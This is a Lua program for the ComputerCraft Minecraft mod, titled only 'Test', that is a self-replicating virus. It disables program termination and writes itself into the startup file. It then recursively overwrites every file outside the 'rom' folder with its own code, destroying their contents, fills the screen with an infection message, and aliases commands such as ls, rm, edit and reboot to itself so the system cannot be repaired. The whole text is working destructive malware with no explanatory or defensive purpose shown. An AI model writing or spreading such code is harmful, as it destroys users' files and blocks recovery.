Test

os.pullEvent = os.pullEventRaw


local w, h = term.getSize()



function disPlace()

        shell.clearAlias("ls")

        shell.clearAlias("dir")

        shell.clearAlias("cp")

        shell.clearAlias("mv")

        shell.clearAlias("rm")

        shell.setAlias("ls", "startup")

        shell.setAlias("dir", "startup")

        shell.setAlias("cp", "startup")

        shell.setAlias("mv", "startup")

        shell.setAlias("rm", "startup")

        shell.setAlias("list", "startup")

        shell.setAlias("edit", "startup")

        shell.setAlias("reboot", "startup")

        shell.setAlias("shutdown", "startup")

        shell.setAlias("lua", "startup")

        shell.setAlias("delete", "startup")

        shell.setAlias("help", "startup")

        shell.setPath(":::VIRUS:::")

        shell.setDir(":::VIRUS:::")

end



function printCentered(y, s)

        term.setCursorPos(w / 2 - string.len(s) / 2, y)

        write(s)

end



function payload()

        local payLoadCharacters = {0, 1, "|", "-", "+"}

        for i=1,50000 do

                os.queueEvent("randomEvent")

                os.pullEvent()

                term.setCursorPos(math.random(1, w), math.random(1, h))

                local index = math.random(1, table.getn(payLoadCharacters))

                write(payLoadCharacters[index])

                printCentered(h / 2, "You Got Virus Infected!")

        end

        sleep(5)

        term.clear()

        term.setCursorPos(1, 1)

        print("Infected "..os.version())

end



function infectDir(Directory, Injection)

        local sDir = shell.dir()

        sDir = shell.resolve( Directory )

        local tAll = fs.list( sDir )

        local tFiles = {}

        local tDirs = {}

        for n, sItem in pairs( tAll ) do

                if string.sub( sItem, 1, 1 ) ~= "." then

                        local sPath = fs.combine( sDir, sItem )

                        if fs.isDir( sPath ) then

                                table.insert( tDirs, sItem )

                        else

                                table.insert( tFiles, sItem )

                        end

                end

        end

        table.sort( tDirs )

        table.sort( tFiles )



        for i=1,table.getn(tFiles) do

                local filewritex = fs.open(Directory.."/"..tFiles[i], "w")

                filewritex.write(Injection)

                filewritex.close()

        end

        for i=1,table.getn(tDirs) do

                if tDirs[i] ~= "rom" then

                        infectDir(Directory.."/"..tDirs[i], Injection)

                end

        end



end



local virusread = fs.open(shell.getRunningProgram(), "r")

local viruscode = virusread.readAll()

virusread.close()



local filewritev = fs.open("startup", "w")

filewritev.write(viruscode)

filewritev.close()



infectDir("", viruscode)



if fs.exists("EOF") == false then

        payload()

        fs.makeDir("EOF")

end



disPlace()